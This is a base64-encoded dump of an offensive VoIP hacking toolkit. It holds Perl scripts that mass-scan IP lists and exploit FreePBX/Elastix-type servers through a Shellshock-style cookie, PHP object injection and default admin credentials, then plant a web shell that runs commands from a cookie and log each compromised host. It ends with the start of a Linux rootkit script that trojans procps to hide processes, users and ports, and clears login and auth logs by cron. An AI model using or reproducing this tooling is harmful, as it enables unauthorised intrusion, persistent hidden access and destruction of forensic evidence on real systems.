- ICAgICAgICAgIFNTTF92ZXJpZnlfbW9kZSA9PiBTU0xfVkVSSUZZX05PTkUpOwoJcHJpbnQgJHNv
- Y2sgIkdFVCAvcmVjb3JkaW5ncy9wYWdlLmZyYW1ld29yay5waHAgIEhUVFAvMS4xXHJcbkhvc3Q6
- ICR0YXJnZXRcclxuQ29va2llOiBsYW5nPWVjaG8rU1VDQ0VTUytTVUNDRVNTXHJcbkNvbm5lY3Rp
- b246IGNsb3NlXHJcblxyXG4iOwoJCgkkc3VjY2VzcyA9IDA7Cgl3aGlsZSg8JHNvY2s+KSB7Cgkg
- ICAgICAgICBpZiAoJF8gPX4gL1NVQ0NFU1NcIFNVQ0NFU1MvKSB7CgkgICAgICAgICAgICAgICAg
- JHN1Y2Nlc3MgPSAxOwoJICAgICAgICAgfSAgICAKCQlwcmludDsKCX0KCWlmICgkc3VjY2Vzcykg
- ewoJIHByaW50ICJcbioqKkVYUExPSVQgU1VDQ0VTUyoqKlxuIjsKCSBwcmludCAiXG4qKipUSEUg
- RUFHTEUgSEFTIExBTkRFRCBBVCAkdGFyZ2V0ICgkQVJHVlsxXSkgKEVYUExPSVQgMiBTUUwpKioq
- XG4iOwoJIG9wZW4gRklMRSwgIj4+JG91dGZpbGUiOwoJIHByaW50IEZJTEUgIiR0YXJnZXQgJGNv
- dW50cnkgU1VDQ0VTUzogJHVzZXJuYW1lOiRwYXNzd29yZCBUSEUgRUFHTEUgSEFTIExBTkRFRCAo
- RVhQTE9JVCAyIFNRTClcbiI7CgkgY2xvc2UgRklMRTsKICAJIGNsb3NlKCRzb2NrKTsKCX0KCWV4
- aXQ7CQoJfQp9CgotLn49PVsgQkVaRVEgSU5URVJOQVRJT05BTCBCT1VOQ0UgUFJPVklERVJTIF09
- PX4uLQogLS5+PT1bIFZPSVAgSEFDS0lORyBUT09MS0lUIC0gRklMRSBWIF09PX4uLQoKdXNlIElP
- OjpTb2NrZXQ7CnVzZSBQYXJhbGxlbDo6Rm9ya01hbmFnZXI7CnVzZSBJUDo6Q291bnRyeTo6RmFz
- dDsKdXNlIHN0cmljdDsKCiR8PTE7CmlmICghJEFSR1ZbMV0pIHsKIHByaW50ICJ1c2FnZTogcGVy
- bCBhdXRvcHduLnBsIDxpbmZpbGU+IDxvdXRmaWxlPlxuIjsKIGV4aXQ7CQp9CgpteSBAbGlzdCA9
- ICgpOwpvcGVuIEZJTEUsICI8IiAuICRBUkdWWzBdOwpwcmludCAiU3RhcnQ6ICI7Cm15ICRzdGFy
- dCA9IDxzdGRpbj47CmNob21wKCRzdGFydCk7Cm15ICRmbGFnPTA7CmlmIChpbmRleCgkc3RhcnQs
- ICJzdGFydCIpID49IDApIHsKICRmbGFnPTE7Cn0Kd2hpbGUoPEZJTEU+KSB7CiBjaG9tcDsKIG15
- ICRzdHIgPSAkXzsKIGlmICgkc3RyID1+IC8kc3RhcnQvKSB7CiAgJGZsYWc9MTsKICBuZXh0Owog
- fQogaWYgKCEkZmxhZykgewogIG5leHQ7CiB9CiBteSBAc3RyMiA9IHNwbGl0KC9ccy8sICRzdHIp
- OwogJHN0ciA9ICRzdHIyWyQjc3RyMl07CiBpZiAobm90ICRzdHIgPX4gL1xkK1wuXGQrXC5cZCtc
- LlxkKy8pIHsKICBuZXh0OwogfQogaWYgKG5vdCBncmVwIC8kc3RyLywgQGxpc3QpIHsKICAgICAg
- ICAgcHVzaChAbGlzdCwgJHN0cik7CiB9Cn0KY2xvc2UgRklMRTsKCm15ICRwbSA9IFBhcmFsbGVs
- OjpGb3JrTWFuYWdlci0+bmV3KDIwKTsKCm15ICRjID0gMDsKbXkgJGNvdW50cnk7CmZvcmVhY2gg
- bXkgJHNpcCAoQGxpc3QpIHsKbXkgJHJlc3AgPSBJUDo6Q291bnRyeTo6RmFzdC0+bmV3KCk7CiRj
- b3VudHJ5ID0gJHJlc3AtPmluZXRfYXRvY2MoJHNpcCk7CmlmICgoJGNvdW50cnkgPX4gL1hYLykg
- fHwgKCRjb3VudHJ5ID1+IC9YWC8pKSB7CiBuZXh0Owp9CQokYysrOwppZiAoJGMgPj0gMjApIHsK
- cHJpbnQgIlRocmVhZHMgam9pbmluZy4uLlxuIjsKJHBtLT53YWl0X2FsbF9jaGlsZHJlbjsKJGM9
- MTsKfQpteSAkcGlkID0gJHBtLT5zdGFydCBhbmQgbmV4dDsKbXkgJHRhcmdldCA9ICRzaXA7CnBy
- aW50ICR0YXJnZXQuIlxuIjsKcHJpbnQgIkVYUExPSVRcbiI7CmlmICgkY291bnRyeSBlcSAiIikg
- ewogJGNvdW50cnkgPSAiVU5LTk9XTiI7Cn0Kc3lzdGVtKCJwZXJsIGlkZWZpeC1zc2wucGwgJHRh
- cmdldCAkY291bnRyeSAkQVJHVlsxXSIpOwpvdXQ6CiRwbS0+ZmluaXNoOwp9CgotLn49PVsgQkVa
- RVEgSU5URVJOQVRJT05BTCBCT1VOQ0UgUFJPVklERVJTIF09PX4uLQogLS5+PT1bIFZPSVAgSEFD
- S0lORyBUT09MS0lUIC0gRklMRSBWSSBdPT1+Li0KCiNpZGVmaXggcmVtb3RlCnVzZSBJTzo6U29j
- a2V0OjpTU0w7CnVzZSBVUkw6OkVuY29kZSBxdyh1cmxfZW5jb2RlKTsKdXNlIExXUDo6U2ltcGxl
- OwoKJHw9MTsKYWxhcm0oNTkpOwokdGFyZ2V0ID0gJEFSR1ZbMF07CmNob21wKCR0YXJnZXQpOwpw
- cmludCAkdGFyZ2V0LiJcbiI7CiRwaHAgPSBxcXsKc2V0X3RpbWVfbGltaXQoMCk7CnVubGluaygi
- cGFnZS5mcmFtZXdvcmsucGhwIik7CmZpbGVfcHV0X2NvbnRlbnRzKCJwYWdlLmZyYW1ld29yay5w
- aHAiLCAiPD9waHAgaWYgKFxcXCRfQ09PS0lFW1xcImxhbmdcXCJdKSB7c3lzdGVtKFxcXCRfQ09P
- S0lFW1xcImxhbmdcXCJdKTt9IGRpZSgpOz8+Iik7Cn07CgokcGhwID1+IHMvXHIvL2dpOwokcGhw
- ID1+IHMvXG4vL2dpOwoKc3ViIGlzaGFja2VkIHsKIG15ICR1cmwgPSAiaHR0cHM6Ly8kdGFyZ2V0
- L2FkbWluL3BhZ2UuZnJhbWV3b3JrLnBocCI7CiBpZiAoaGVhZCgkdXJsKSkgewogICByZXR1cm4g
- MTsKIH0KICR1cmwgPSAiaHR0cHM6Ly8kdGFyZ2V0L3JlY29yZGluZ3MvcGFnZS5mcmFtZXdvcmsu
- cGhwIjsKIGlmIChoZWFkKCR1cmwpKSB7CiAgIHJldHVybiAyOwogfQogJHVybCA9ICJodHRwczov
- LyR0YXJnZXQvYWRtaW4vbW9kdWxlcy9hZG1pbmRhc2hib2FyZC9waHBzeXNpbmZvL2NvbW1vbl9h
- ZG1pbl9mdW5jdGlvbnMucGhwIjsKIGlmIChoZWFkKCR1cmwpKSB7CiAgIHJldHVybiAzOwogfQoK
- IHJldHVybiAwOwp9CgokcmVzdWx0ID0gaXNoYWNrZWQoKTsKaWYgKCRyZXN1bHQgZXEgMSkgewog
- cHJpbnQgJHRhcmdldCAuICIgIiAuICRBUkdWWzFdIC4gIiBUSEUgRUFHTEUgSEFTIExBTkRFRCAo
- QUxSRUFEWSBIQUNLRUQsIEVYUExPSVQgMSlcclxuIjsKIG9wZW4gRklMRSwgIj4+JEFSR1ZbMl0i
- OwogcHJpbnQgRklMRSAkdGFyZ2V0IC4gIiAiIC4gJEFSR1ZbMV0gLiAiIFRIRSBFQUdMRSBIQVMg
- TEFOREVEIChBTFJFQURZIEhBQ0tFRCwgRVhQTE9JVCAxKVxyXG4iOwogY2xvc2UgRklMRTsKIGV4
- aXQ7Cn0KCmlmICgkcmVzdWx0IGVxIDIpIHsKIHByaW50ICR0YXJnZXQgLiAiICIgLiAkQVJHVlsx
- XSAuICIgVEhFIEVBR0xFIEhBUyBMQU5ERUQgKEFMUkVBRFkgSEFDS0VELCBFWFBMT0lUIDIpXHJc
- biI7CiBvcGVuIEZJTEUsICI+PiRBUkdWWzJdIjsKIHByaW50IEZJTEUgJHRhcmdldCAuICIgIiAu
- ICRBUkdWWzFdIC4gIiBUSEUgRUFHTEUgSEFTIExBTkRFRCAoQUxSRUFEWSBIQUNLRUQsIEVYUExP
- SVQgMilcclxuIjsKIGNsb3NlIEZJTEU7CiBleGl0Owp9CgpwcmludCAiRVhQTE9JVFxuIjsKCiRi
- aW4gPSBxcXtwaHAgLXIgJyRwaHAnO307CiRidWYgPSB1cmxfZW5jb2RlKCIoKSB7IDo7fTskYmlu
- Iik7CiRidWYyID0gdXJsX2VuY29kZSgnTzo4OiJEQl9teXNxbCI6Njp7czoxOToiX2RlZmF1bHRf
- ZXJyb3JfbW9kZSI7aToxNjtzOjIyOiJfZGVmYXVsdF9lcnJvcl9vcHRpb25zIjtzOjk6ImRvX3Jl
- bG9hZCI7czoxMjoiX2Vycm9yX2NsYXNzIjtzOjQ6IlRFU1QiO3M6MTM6Indhc19jb25uZWN0ZWQi
- O2I6MTtzOjc6Im9wdGlvbnMiO3M6MzoiMTIzIjtzOjM6ImRzbiI7YTo0OntzOjg6Imhvc3RzcGVj
- IjtzOjk6ImxvY2FsaG9zdCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3Jk
- IjtzOjA6IiI7czo4OiJkYXRhYmFzZSI7czo3OiJ0cmlnZ2VyIjt9fScpOwoKJHNvY2sgPSBJTzo6
- U29ja2V0OjpTU0wtPm5ldyhQZWVyQWRkciA9PiAkdGFyZ2V0LAogICAgICAgICAgICAgICAgICAg
- ICAgICAgICAgICBQZWVyUG9ydCA9PiA0NDMsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
- IFByb3RvICAgID0+ICd0Y3AnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUaW1lb3V0
- ID0+IDEwLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBTU0xfdmVyaWZ5X21vZGUgPT4g
- U1NMX1ZFUklGWV9OT05FKTsKJHBheWxvYWQgPSAidXNlcm5hbWU9YWRtaW4mcGFzc3dvcmQ9YWRt
- aW4mc3VibWl0PWJ0blN1Ym1pdCI7CnByaW50ICRzb2NrICJQT1NUIC9yZWNvcmRpbmdzL2luZGV4
- LnBocD8gSFRUUC8xLjFcclxuSG9zdDogJHRhcmdldFxyXG5Db29raWU6IGFyaV9sYW5nPSRidWY7
- YXJpX2F1dGg9JGJ1ZjI7ZWxhc3RpeFNlc3Npb249NzE2cmF0azA5MjU1NWdsMGIzZ3R2dDhmbzc7
- VUlDU0VTU0lPTj1ycG9ycDRjODhoZzYzc2lwc3NvcDNrZG1uMjtBUkk9YjhlNGg2dmZnMGpvdXF1
- aGtjYmxzb3VoazBcclxuQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVu
- Y29kZWRcclxuQ29udGVudC1MZW5ndGg6ICIuIGxlbmd0aCgkcGF5bG9hZCkgLiJcclxuQ29ubmVj
- dGlvbjogY2xvc2VcclxuXHJcbiIgLiAkcGF5bG9hZDsKCndoaWxlKDwkc29jaz4pIHsKfQoKJHNv
- Y2sgPSBJTzo6U29ja2V0OjpTU0wtPm5ldyhQZWVyQWRkciA9PiAkdGFyZ2V0LAogICAgICAgICAg
- ICAgICAgICAgICAgICAgICAgICBQZWVyUG9ydCA9PiA0NDMsCiAgICAgICAgICAgICAgICAgICAg
- ICAgICAgICAgIFByb3RvICAgID0+ICd0Y3AnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAg
- ICBUaW1lb3V0ID0+IDEwLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBTU0xfdmVyaWZ5
- X21vZGUgPT4gU1NMX1ZFUklGWV9OT05FKTsKcHJpbnQgJHNvY2sgIkdFVCAvcmVjb3JkaW5ncy9w
- YWdlLmZyYW1ld29yay5waHAgIEhUVFAvMS4xXHJcbkhvc3Q6ICR0YXJnZXRcclxuQ29va2llOiBs
- YW5nPWVjaG8rU1VDQ0VTUytTVUNDRVNTXHJcbkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iOwoK
- JHN1Y2Nlc3MgPSAwOwp3aGlsZSg8JHNvY2s+KSB7CiAgICAgICAgIGlmICgkXyA9fiAvU1VDQ0VT
- U1wgU1VDQ0VTUy8pIHsKICAgICAgICAgICAgICAgICRzdWNjZXNzID0gMTsKICAgICAgICAgfSAg
- ICAgICAgCn0KCmlmICgkc3VjY2VzcykgewogcHJpbnQgIlxuKioqRVhQTE9JVCBTVUNDRVNTKioq
- XG4iOwogcHJpbnQgIlxuKioqVEhFIEVBR0xFIEhBUyBMQU5ERUQgQVQgJHRhcmdldCAoJEFSR1Zb
- MV0pKioqXG4iOwogb3BlbiBGSUxFLCAiPj4kQVJHVlsyXSI7CiBpZiAoJHJlc3VsdCBlcSAwKSB7
- CiAgcHJpbnQgRklMRSAkdGFyZ2V0IC4gIiAiIC4gJEFSR1ZbMV0gLiAiIFRIRSBFQUdMRSBIQVMg
- TEFOREVEIChFWFBMT0lUIDIgTkVXISEpXHJcbiI7CiB9CiBpZiAoJHJlc3VsdCBlcSAzKSB7CiAg
- cHJpbnQgRklMRSAkdGFyZ2V0IC4gIiAiIC4gJEFSR1ZbMV0gLiAiIFRIRSBFQUdMRSBIQVMgTEFO
- REVEIChFWFBMT0lUIDIgUkVIQUNLKVxyXG4iOwogfQogY2xvc2UgRklMRTsKIGV4aXQ7Cn0KCi0u
- fj09WyBCRVpFUSBJTlRFUk5BVElPTkFMIEJPVU5DRSBQUk9WSURFUlMgXT09fi4tCiAtLn49PVsg
- Vk9JUCBIQUNLSU5HIFRPT0xLSVQgLSBGSUxFIFZJSSBdPT1+Li0KCiNpZGVmaXggcmVtb3RlCnVz
- ZSBJTzo6U29ja2V0Owp1c2UgVVJMOjpFbmNvZGUgcXcodXJsX2VuY29kZSk7CnVzZSBMV1A6OlNp
- bXBsZTsKCiR8PTE7CmFsYXJtKDU5KTsKJHRhcmdldCA9ICRBUkdWWzBdOwpjaG9tcCgkdGFyZ2V0
- KTsKcHJpbnQgJHRhcmdldC4iXG4iOwokcGhwID0gcXF7CnNldF90aW1lX2xpbWl0KDApOwp1bmxp
- bmsoInBhZ2UuZnJhbWV3b3JrLnBocCIpOwpmaWxlX3B1dF9jb250ZW50cygicGFnZS5mcmFtZXdv
- cmsucGhwIiwgIjw/cGhwIGlmIChcXFwkX0NPT0tJRVtcXCJsYW5nXFwiXSkge3N5c3RlbShcXFwk
- X0NPT0tJRVtcXCJsYW5nXFwiXSk7fSBkaWUoKTs/PiIpOwp9OwoKJHBocCA9fiBzL1xyLy9naTsK
- JHBocCA9fiBzL1xuLy9naTsKCnN1YiBpc2hhY2tlZCB7CiBteSAkdXJsID0gImh0dHA6Ly8kdGFy
- Z2V0L2FkbWluL3BhZ2UuZnJhbWV3b3JrLnBocCI7CiBpZiAoaGVhZCgkdXJsKSkgewogICByZXR1
- cm4gMTsKIH0KICR1cmwgPSAiaHR0cDovLyR0YXJnZXQvcmVjb3JkaW5ncy9wYWdlLmZyYW1ld29y
- ay5waHAiOwogaWYgKGhlYWQoJHVybCkpIHsKICAgcmV0dXJuIDI7CiB9CiAkdXJsID0gImh0dHA6
- Ly8kdGFyZ2V0L2FkbWluL21vZHVsZXMvYWRtaW5kYXNoYm9hcmQvcGhwc3lzaW5mby9jb21tb25f
- YWRtaW5fZnVuY3Rpb25zLnBocCI7CiBpZiAoaGVhZCgkdXJsKSkgewogICByZXR1cm4gMzsKIH0K
- CiByZXR1cm4gMDsKfQoKJHJlc3VsdCA9IGlzaGFja2VkKCk7CmlmICgkcmVzdWx0IGVxIDEpIHsK
- IHByaW50ICR0YXJnZXQgLiAiICIgLiAkQVJHVlsxXSAuICIgVEhFIEVBR0xFIEhBUyBMQU5ERUQg
- KEFMUkVBRFkgSEFDS0VELCBFWFBMT0lUIDEpXHJcbiI7CiBvcGVuIEZJTEUsICI+PiRBUkdWWzJd
- IjsKIHByaW50IEZJTEUgJHRhcmdldCAuICIgIiAuICRBUkdWWzFdIC4gIiBUSEUgRUFHTEUgSEFT
- IExBTkRFRCAoQUxSRUFEWSBIQUNLRUQsIEVYUExPSVQgMSlcclxuIjsKIGNsb3NlIEZJTEU7CiBl
- eGl0Owp9CgppZiAoJHJlc3VsdCBlcSAyKSB7CiBwcmludCAkdGFyZ2V0IC4gIiAiIC4gJEFSR1Zb
- MV0gLiAiIFRIRSBFQUdMRSBIQVMgTEFOREVEIChBTFJFQURZIEhBQ0tFRCwgRVhQTE9JVCAyKVxy
- XG4iOwogb3BlbiBGSUxFLCAiPj4kQVJHVlsyXSI7CiBwcmludCBGSUxFICR0YXJnZXQgLiAiICIg
- LiAkQVJHVlsxXSAuICIgVEhFIEVBR0xFIEhBUyBMQU5ERUQgKEFMUkVBRFkgSEFDS0VELCBFWFBM
- T0lUIDIpXHJcbiI7CiBjbG9zZSBGSUxFOwogZXhpdDsKfQoKcHJpbnQgIkVYUExPSVRcbiI7Cgok
- YmluID0gcXF7cGhwIC1yICckcGhwJ307CiRidWYgPSB1cmxfZW5jb2RlKCIoKSB7IDo7fTskYmlu
- Iik7CiRidWYyID0gdXJsX2VuY29kZSgnTzo4OiJEQl9teXNxbCI6Njp7czoxOToiX2RlZmF1bHRf
- ZXJyb3JfbW9kZSI7aToxNjtzOjIyOiJfZGVmYXVsdF9lcnJvcl9vcHRpb25zIjtzOjk6ImRvX3Jl
- bG9hZCI7czoxMjoiX2Vycm9yX2NsYXNzIjtzOjQ6IlRFU1QiO3M6MTM6Indhc19jb25uZWN0ZWQi
- O2I6MTtzOjc6Im9wdGlvbnMiO3M6MzoiMTIzIjtzOjM6ImRzbiI7YTo0OntzOjg6Imhvc3RzcGVj
- IjtzOjk6ImxvY2FsaG9zdCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3Jk
- IjtzOjA6IiI7czo4OiJkYXRhYmFzZSI7czo3OiJ0cmlnZ2VyIjt9fScpOwoKJHNvY2sgPSBJTzo6
- U29ja2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJHRhcmdldCwKICAgICAgICAgICAgICAgICAg
- ICAgICAgICAgICAgUGVlclBvcnQgPT4gODAsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
- IFByb3RvICAgID0+ICd0Y3AnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUaW1lb3V0
- ID0+IDEwKTsKJHBheWxvYWQgPSAidXNlcm5hbWU9YWRtaW4mcGFzc3dvcmQ9YWRtaW4mc3VibWl0
- PWJ0blN1Ym1pdCI7CnByaW50ICRzb2NrICJQT1NUIC9yZWNvcmRpbmdzL2luZGV4LnBocD8gSFRU
- UC8xLjFcclxuSG9zdDogJHRhcmdldFxyXG5Db29raWU6IGFyaV9sYW5nPSRidWY7YXJpX2F1dGg9
- JGJ1ZjI7ZWxhc3RpeFNlc3Npb249NzE2cmF0azA5MjU1NWdsMGIzZ3R2dDhmbzc7VUlDU0VTU0lP
- Tj1ycG9ycDRjODhoZzYzc2lwc3NvcDNrZG1uMjtBUkk9YjhlNGg2dmZnMGpvdXF1aGtjYmxzb3Vo
- azBcclxuQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxu
- Q29udGVudC1MZW5ndGg6ICIuIGxlbmd0aCgkcGF5bG9hZCkgLiJcclxuQ29ubmVjdGlvbjogY2xv
- c2VcclxuXHJcbiIgLiAkcGF5bG9hZDsKCndoaWxlKDwkc29jaz4pIHsKfQoKJHNvY2sgPSBJTzo6
- U29ja2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJHRhcmdldCwKICAgICAgICAgICAgICAgICAg
- ICAgICAgICAgICAgUGVlclBvcnQgPT4gODAsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
- IFByb3RvICAgID0+ICd0Y3AnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUaW1lb3V0
- ID0+IDEwKTsKcHJpbnQgJHNvY2sgIkdFVCAvcmVjb3JkaW5ncy9wYWdlLmZyYW1ld29yay5waHAg
- IEhUVFAvMS4xXHJcbkhvc3Q6ICR0YXJnZXRcclxuQ29va2llOiBsYW5nPWVjaG8rU1VDQ0VTUytT
- VUNDRVNTXHJcbkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iOwoKJHN1Y2Nlc3MgPSAwOwp3aGls
- ZSg8JHNvY2s+KSB7CiAgICAgICAgIGlmICgkXyA9fiAvU1VDQ0VTU1wgU1VDQ0VTUy8pIHsKICAg
- ICAgICAgICAgICAgICRzdWNjZXNzID0gMTsKICAgICAgICAgfSAgICAgICAgCn0KCmlmICgkc3Vj
- Y2VzcykgewogcHJpbnQgIlxuKioqRVhQTE9JVCBTVUNDRVNTKioqXG4iOwogcHJpbnQgIlxuKioq
- VEhFIEVBR0xFIEhBUyBMQU5ERUQgQVQgJHRhcmdldCAoJEFSR1ZbMV0pKioqXG4iOwogb3BlbiBG
- SUxFLCAiPj4kQVJHVlsyXSI7CiBpZiAoJHJlc3VsdCBlcSAwKSB7CiAgcHJpbnQgRklMRSAkdGFy
- Z2V0IC4gIiAiIC4gJEFSR1ZbMV0gLiAiIFRIRSBFQUdMRSBIQVMgTEFOREVEIChFWFBMT0lUIDIg
- TkVXISEpXHJcbiI7CiB9CiBpZiAoJHJlc3VsdCBlcSAzKSB7CiAgcHJpbnQgRklMRSAkdGFyZ2V0
- IC4gIiAiIC4gJEFSR1ZbMV0gLiAiIFRIRSBFQUdMRSBIQVMgTEFOREVEIChFWFBMT0lUIDIgUkVI
- QUNLKVxyXG4iOwogfQogY2xvc2UgRklMRTsKIGV4aXQ7Cn0KCi0ufj09WyBCRVpFUSBJTlRFUk5B
- VElPTkFMIEJPVU5DRSBQUk9WSURFUlMgXT09fi4tCiAtLn49PVsgVk9JUCBIQUNLSU5HIFRPT0xL
- SVQgLSBGSUxFIFZJSUkgXT09fi4tCgojIS9iaW4vYmFzaAojfD0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLT18CiN8
- PS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPVsgTGludXggUk9PVCBIaWRla2l0IF09LS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tPXwKI3w9LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS09fAojfD0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLT1bIGJ5IGluZmFtb3VzIF09LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLT18
- CiN8PS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPVsgaW5mYW1vdXNAYW5vbi5ycyBdPS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tPXwKI3w9LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS09fAojfD0tLS0tLS0tLS0tLS0t
- LS0tLS09WyAqKioqKioqQ2VudE9TLCBVYnVudHUqKioqKioqIF09LS0tLS0tLS0tLS0tLS0tLS0t
- LT18CiN8PS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
- LS0tLS0tLS0tLS0tLS0tLS0tLS0tPXwKCnJlYWQgLXAgImVudGVyIGZpbGVuYW1lIC8gZGlyZWN0
- b3J5IG5hbWUgdG8gaGlkZSBmcm9tIHBzLGxzIFtkZWZhdWx0OiBNQUdJQzldOiIgSElERU5BTUUK
- aWYgWyAteiAiJEhJREVOQU1FIiBdOyB0aGVuCiAgICBISURFTkFNRT1NQUdJQzkKZmkKCnJlYWQg
- LXAgImVudGVyIHVzZXIgdG8gaGlkZSBmcm9tIHcgW2RlZmF1bHQ6IHJvb3RdOiIgSElERVVTRVIK
- aWYgWyAteiAiJEhJREVVU0VSIiBdOyB0aGVuCiAgICBISURFVVNFUj1yb290CmZpCgpISURFUE9S
- VFM9ImlmICgiCndoaWxlIDogOyBkbwogICAgcmVhZCAtcCAiZW50ZXIgcmVtb3RlIHBvcnQgdG8g
- aGlkZSBmcm9tIG5ldHN0YXQgb3IgbGVhdmUgYmxhbmsgdG8gY29udGludWU6ICIgSElERVBPUlQK
- ICAgIFtbIC1uICIkSElERVBPUlQiIF1dIHx8IGJyZWFrCiAgICBISURFUE9SVFM9IiR7SElERVBP
- UlRTfSByZW1fcG9ydCA9PSAke0hJREVQT1JUfSB8fCAiCmRvbmUKSElERVBPUlRTPSIke0hJREVQ
- T1JUU30gcmVtX3BvcnQgPT0gLTEpIgoKSElERVBPUlRTX0xPQ0FMPSJpZiAoIgp3aGlsZSA6IDsg
- ZG8KICAgIHJlYWQgLXAgImVudGVyIGxvY2FsIHBvcnQgdG8gaGlkZSBmcm9tIG5ldHN0YXQgb3Ig
- bGVhdmUgYmxhbmsgdG8gY29udGludWU6ICIgSElERVBPUlRfTE9DQUwKICAgIFtbIC1uICIkSElE
- RVBPUlRfTE9DQUwiIF1dIHx8IGJyZWFrCiAgICBISURFUE9SVFNfTE9DQUw9IiR7SElERVBPUlRT
- X0xPQ0FMfSBsb2NhbF9wb3J0ID09ICR7SElERVBPUlRfTE9DQUx9IHx8ICIKZG9uZQpISURFUE9S
- VFNfTE9DQUw9IiR7SElERVBPUlRTX0xPQ0FMfSBsb2NhbF9wb3J0ID09IC0xKSIKCnJlYWQgLXAg
- ImFkZCBsb2djbGVhbmVyIGNyb250YWIgZW50cnk/ICh5L24pIFtkZWZhdWx0OiB5XSIgQUREQ1JP
- TlRBQgppZiBbIC16ICIkQUREQ1JPTlRBQiIgXTsgdGhlbgogICAgQUREQ1JPTlRBQj15CmZpCgpp
- ZiBbICIkQUREQ1JPTlRBQiIgPSAieSIgXSA7IHRoZW4KICAgICAoY3JvbnRhYiAtbCAyPi9kZXYv
- bnVsbDsgcHJpbnRmICIwICogKiAqICogPi92YXIvbG9nL3d0bXBcbjAgKiAqICogKiA+L3Zhci9s
- b2cvYnRtcFxuMCAqICogKiAqID4vdmFyL2xvZy9sYXN0bG9nXG4wICogKiAqICogPi92YXIvbG9n
- L3NlY3VyZVxuMCAqICogKiAqID4vdmFyL2xvZy9hdXRoLmxvZ1xuIikgfCBjcm9udGFiIC0KZmkK
- Cj4vdmFyL2xvZy93dG1wCj4vdmFyL2xvZy9idG1wCj4vdmFyL2xvZy9sYXN0bG9nCj4vdmFyL2xv
- Zy9zZWN1cmUKPi92YXIvbG9nL2F1dGgubG9nCgppZiBbIC1mICIvZXRjL2RlYmlhbl92ZXJzaW9u
- IiBdCnRoZW4KCXBhY2thZ2VtYW49YXB0LWdldAplbHNlCglwYWNrYWdlbWFuPXl1bQpmaQoke3Bh
- Y2thZ2VtYW59IC15IGluc3RhbGwgbWFrZSBnY2Mgd2dldApta2RpciAvdG1wLy4uLi8KY2QgL3Rt
- cC8uLi4vCndnZXQgLU8gL3RtcC8uLi4vcHJvY3BzLnRhci5neiBodHRwOi8vcHJvY3BzLnNvdXJj
- ZWZvcmdlLm5ldC9wcm9jcHMtMy4yLjgudGFyLmd6CnJtIC1yZiAvdG1wLy4uLi9wcm9jcHMtMy4y
- LjgvCnRhciB4dnpmIHByb2Nwcy50YXIuZ3oKY2QgL3RtcC8uLi4vcHJvY3BzLTMuMi44L3BzCgpM
- SU5FMT0iICBpZiAocHAgJiYgcHAtPmNtZCAmJiBzdHJzdHIocHAtPmNtZCwgXCIke0hJREVOQU1F
- fVwiKSAhPSBOVUxMKSIKTElORTI9IiAgaWYgKHBwICYmIHBwLT5jbWRsaW5lICYmIHN0cnN0cihw
- cC0+Y21kbGluZSwgXCIke0hJREVOQU1FfVwiKSAhPSBOVUxMKSIKPm91dHB1dC5jXzIKd2hpbGUg
- SUZTPScnIHJlYWQgLXIgbGluZSB8fCBbWyAtbiAiJGxpbmUiIF1dOyBkbwogICAgaWYgW1sgJGxp
- bmUgPT0gKiJ1bnNpZ25lZCBmbGFnczsiKiBdXQogICAgdGhlbgogICAgICAgIGVjaG8gIiRsaW5l
- IiA+PiBvdXRwdXQuY18yCiAgICAgICAgSUZTPScnIHJlYWQgLXIgbGluZQogICAgICAgIGVjaG8g
- IiRsaW5lIiA+PiBvdXRwdXQuY18yCiAgICAgICAgaWYgW1sgJGxpbmUgPT0gKiJpbnQgcmlnaHR3
- YXJkPW1heF9yaWdodHdhcmQ7IiogXV0KICAgICAgICB0aGVuCiAgICAgICAgICAgIGVjaG8gIiRM
- SU5FMSIgPj4gb3V0cHV0LmNfMgogICAgICAgICAgICBlY2hvICIgIHJldHVybiAwOyIgPj4gb3V0
- cHV0LmNfMgogICAgICAgICAgICBlY2hvICIkTElORTIiID4+IG91dHB1dC5jXzIKICAgICAgICAg
- ICAgZWNobyAiICByZXR1cm4gMDsiID4+IG91dHB1dC5jXzIgJiYgY29udGludWUKICAgICAgICBm
- aQogICAgZmkKCiAgICBlY2hvICIkbGluZSIgPj4gb3V0cHV0LmNfMgpkb25lIDwgb3V0cHV0LmMK
- bXYgLWYgb3V0cHV0LmNfMiBvdXRwdXQuYwoKTElORTE9ImlmIChidWYgJiYgYnVmLT5jbWQgJiYg
